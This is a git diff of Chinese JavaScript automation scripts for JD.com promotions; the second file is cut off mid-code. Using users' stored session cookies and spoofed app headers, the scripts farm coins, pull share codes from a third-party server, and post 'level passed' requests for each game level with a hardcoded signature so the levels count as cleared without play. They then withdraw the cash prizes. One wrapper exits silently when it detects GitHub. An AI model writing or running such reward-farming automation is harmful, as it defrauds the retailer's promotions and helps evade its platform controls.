云端大于10元无门槛红包时进行通知推送 + // if ($.isNode() && $.totalNum >= 1000000) await notify.sendNotify(`${$.name} - 京东账号${$.index} - ${$.nickName}`, `京东账号${$.index} ${$.nickName}\n当前金币:${$.totalNum}个\n可兑换无门槛红包:${parseInt($.totalNum) / 10000}元\n`,) + allMessage += `京东账号${$.index} ${$.nickName}\n当前金币:${$.totalNum}个\n可兑换无门槛红包:${parseInt($.totalNum) / 10000}元\n兑换入口:京东赚赚微信小程序->赚好礼->金币提现${$.index !== cookiesArr.length ? '\n\n' : ''}`; + resolve(); + }) +} + +function getUserInfo() { + return new Promise(resolve => { + $.get(taskUrl("interactIndex"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // if (data.data.shareTaskRes) { + // console.log(`\n【京东账号${$.index}(${$.nickName || $.UserName})的${$.name}好友互助码】${data.data.shareTaskRes.itemId}\n`); + // } else { + // console.log(`\n\n已满5人助力或助力功能已下线,故暂时无${$.name}好友助力码\n\n`) + // } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getTaskList(flag = false) { + return new Promise(resolve => { + $.get(taskUrl("interactTaskIndex"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.totalNum = data.data.totalNum + $.taskList = data?.data?.taskDetailResList ?? [] + if (data.data.signTaskRes) { + $.taskList.push(data.data.signTaskRes) + } + $.totalBeanNum = data.data.totalBeanNum + if (flag && $.taskList.filter(item => !!item && item['taskId'] === 3) && $.taskList.filter(item => !!item && item['taskId'] === 3).length) { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.taskList.filter(item => !!item && item['taskId'] === 3)[0]['itemId']}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 完成 +function doTask(body, func = "doInteractTask") { + // console.log(taskUrl("doInteractTask", body)) + return new Promise(resolve => { + $.get(taskUrl(func, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // console.log(data) + if (func === "doInteractTask") { + if (data.subCode === "S000") { + console.log(`任务完成,获得 ${data.data.taskDetailResList[0].incomeAmountConf} 金币,${data.data.taskDetailResList[0].beanNum} 京豆`) + $.bean += parseInt(data.data.taskDetailResList[0].beanNum) + } else { + console.log(`任务失败,错误信息:${data.message}`) + } + } else { + console.log(`${data.data.helpResDesc}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + await doTask({"itemId": code, "taskId": "3", "mpVersion": "3.4.0"}, "doHelpTask") + } +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `https://code.chiang.fun/api/v1/jd/jdzz/read/${randomCount}/`, 'timeout': 10000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = []; + if ($.isNode()) { + if (process.env.JDZZ_SHARECODES) { + if (process.env.JDZZ_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JDZZ_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JDZZ_SHARECODES.split('&'); + } + } + } + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +function taskUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=9.1.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'http://wq.jd.com/wxapp/pages/hd-interaction/index/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + +function taskTuanUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&osVersion=5.0.0&clientVersion=3.1.3&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function taskPostUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}`, + body: body, + headers: { + "Cookie": cookie, + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_jfcz.js b/jd_jfcz.js new file mode 100644 index 0000000..f1d2d5e --- /dev/null +++ b/jd_jfcz.js @@ -0,0 +1,391 @@ +/* +见缝插针 +活动地址: 京东极速版-百元生活费-玩游戏现金可提现 +活动时间: +更新时间:2021-11-30 +脚本兼容: QuantumultX, Surge,Loon, JSBox, Node.js +=================================Quantumultx========================= +[task_local] +#见缝插针 +15 10 * * * https://raw.githubusercontent.com/jiulan/platypus/main/scripts/jd_jfcz.js, tag=见缝插针, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +=================================Loon=================================== +[Script] +cron "15 10 * * *" script-path=https://raw.githubusercontent.com/jiulan/platypus/main/scripts/jd_jfcz.js,tag=见缝插针 +===================================Surge================================ +见缝插针 = type=cron,cronexp="15 10 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/jiulan/platypus/main/scripts/jd_jfcz.js +====================================小火箭============================= +见缝插针 = type=cron,script-path=https://raw.githubusercontent.com/jiulan/platypus/main/scripts/jd_jfcz.js, cronexpr="15 10 * * *", timeout=3600, enable=true + */ +const $ = new Env('见缝插针'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = []; +let linkId = 'DYWV0DabsUxdj2FEBIkurg'; +let stop = false; +let needleLevel = 1; +let totalLevel = 400; +let allMessage = ''; +$.cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + totalLevel = 400 + $.cookie = cookiesArr[i]; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + $.hotFlag = false; //是否火爆 + await TotalBean(); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + stop = false + //获取下关等级 + await getNeedleLevelInfo(); + + console.log('当前关卡: ',needleLevel+"/"+totalLevel) + await $.wait(500); + for (let i = needleLevel; i <= totalLevel; i++) { + if (stop){ + console.log('关卡异常下个') + break + } + await getNeedleLevelInfo(needleLevel); + console.log('当前关卡: ',needleLevel+"/"+totalLevel) + if (stop){ + console.log('关卡异常下个') + break + } + await saveNeedleLevelInfo(needleLevel); + await $.wait(3000); + } + await needleMyPrize() + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`,{ url: 'https://t.me/joinchat/DrHGFt-CvcE2ZmU1' }) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: $.cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +/** + * 获取奖励列表 + * @returns {Promise} + */ +function needleMyPrize() { + return new Promise(async resolve => { + let body = {"linkId":linkId,"pageNum":1,"pageSize":30}; + + const options = { + url: `https://api.m.jd.com/?functionId=needleMyPrize&body=${escape(JSON.stringify(body))}&_t=${+new Date()}&appid=activities_platform&clientVersion=3.5.0`, + headers: { + 'Origin': 'https://joypark.jd.com', + 'Cookie': $.cookie, + 'Connection': `keep-alive`, + 'Accept': `application/json, text/plain, */*`, + 'Host': `api.m.jd.com`, + 'X-Requested-With': `com.jingdong.app.mall`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Encoding': `gzip, deflate, br`, + 'Accept-Language': `zh-CN,zh;q=0.9,en-CN;q=0.8,en;q=0.7,zh-TW;q=0.6,en-US;q=0.5`, + 'Referer': `https://joypark.jd.com/?activityId=${linkId}&channel=wlfc&sid=a05ade6f8abfce24dbbc74fw&un_area=2`, + 'Sec-Fetch-Site': `same-site`, + 'Content-Type': 'application/x-www-form-urlencoded' + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = $.toObj(data); + if (data.code === 0) { + for(let item of data.data.items.filter(vo => vo.needleMyPrizeItemVO.prizeType===4)){ + if(item.needleMyPrizeItemVO.prizeStatus===0 && item.status===1){ + await $.wait(500); + console.log(`提现${item.needleMyPrizeItemVO.prizeValue}微信现金`) + await apCashWithDraw(item.needleMyPrizeItemVO.id,item.needleMyPrizeItemVO.poolBaseId,item.needleMyPrizeItemVO.prizeGroupId,item.needleMyPrizeItemVO.prizeBaseId) + } + } + } else { + console.log(`提现异常:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + console.log(`logErr`,JSON.stringify(data)) + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +/** + * 获取下关等级 + * @returns {Promise} + */ +function getNeedleLevelInfo(currentLevel) { + return new Promise(async resolve => { + let body = {"linkId":linkId}; + if (currentLevel !== undefined){ + body = {"linkId":linkId,"currentLevel":currentLevel}; + } + const options = { + url: `https://api.m.jd.com/?functionId=getNeedleLevelInfo&body=${escape(JSON.stringify(body))}&_t=${+new Date()}&appid=activities_platform&clientVersion=3.5.0`, + headers: { + 'Origin': 'https://h5platform.jd.com', + 'Cookie': $.cookie, + 'Connection': `keep-alive`, + 'Accept': `application/json, text/plain, */*`, + 'Host': `api.m.jd.com`, + 'X-Requested-With': `com.jingdong.app.mall`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Encoding': `gzip, deflate, br`, + 'Accept-Language': `zh-CN,zh;q=0.9,en-CN;q=0.8,en;q=0.7,zh-TW;q=0.6,en-US;q=0.5`, + 'Referer': `https://h5platform.jd.com/swm-static/jfcz/index.html?activityId=${linkId}&channel=wlfc&sid=a05ade6f8abfce24dbbc74fw&un_area=2`, + 'Sec-Fetch-Site': `same-site`, + 'Content-Type': 'application/x-www-form-urlencoded' + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + stop = true + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = $.toObj(data); + if (data.code === 0) { + if (data.data.currentLevel != data.data.totalLevel){ + needleLevel = data.data.needleConfig.level + totalLevel = data.data.totalLevel + }else { + stop = true + console.log(`关卡已全部通过`) + } + } else { + stop = true + console.log(`获取下关等级异常:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + stop = true + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +/** + * 通关 + * @returns {Promise} + */ +function saveNeedleLevelInfo(currentLevel) { + return new Promise(async resolve => { + let body = {"currentLevel":currentLevel,"linkId":linkId}; + + const options = { + url: `https://api.m.jd.com/?functionId=saveNeedleLevelInfo&body=${JSON.stringify(body)}&_t=${+new Date()}&appid=activities_platform&client=H5&clientVersion=1.0.0&h5st=20220106101759841%3B4377072519655308%3Bf1658%3Btk02waf0d1c2318njnCBM9qYgO8%2F%2Ftqq%2Fe1asBWVmidYfLpZ3kFd0rLsZOspq2aBxoz%2FBvATLVmEkPLX5U%2BFgNVmOc8E%3B22da3eb0d3c191a89ff16b5f051efdba2d0f013437857d994912faf498906d70%3B3.0%3B1641435479841`, + headers: { + 'Origin': 'https://h5platform.jd.com', + 'Cookie': $.cookie, + 'Connection': `keep-alive`, + 'Accept': `application/json, text/plain, */*`, + 'Host': `api.m.jd.com`, + 'X-Requested-With': `com.jingdong.app.mall`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Encoding': `gzip, deflate, br`, + 'Accept-Language': `zh-CN,zh;q=0.9,en-CN;q=0.8,en;q=0.7,zh-TW;q=0.6,en-US;q=0.5`, + 'Referer': `https://h5platform.jd.com/swm-static/jfcz/index.html?activityId=${linkId}&channel=wlfc&sid=a05ade6f8abfce24dbbc74fw&un_area=2`, + 'Sec-Fetch-Site': `same-site`, + 'Content-Type': 'application/x-www-form-urlencoded' + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + stop = true + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = $.toObj(data); + if (data.code === 0) { + console.log(`关卡[${currentLevel}]通关成功\n`); + } else { + stop = true + console.log(`通关异常:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + stop = true + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +/** + * 提现 + * @param id + * @param poolBaseId + * @param prizeGroupId + * @param prizeBaseId + * @returns {Promise} + */ +function apCashWithDraw(id, poolBaseId, prizeGroupId, prizeBaseId) { + return new Promise(resolve => { + const body = { + "linkId": linkId, + "businessSource": "NONE", + "base": { + "prizeType": 4, + "business": "throwNeedleGame", + "id": id, + "poolBaseId": poolBaseId, + "prizeGroupId": prizeGroupId, + "prizeBaseId": prizeBaseId + } + } + const 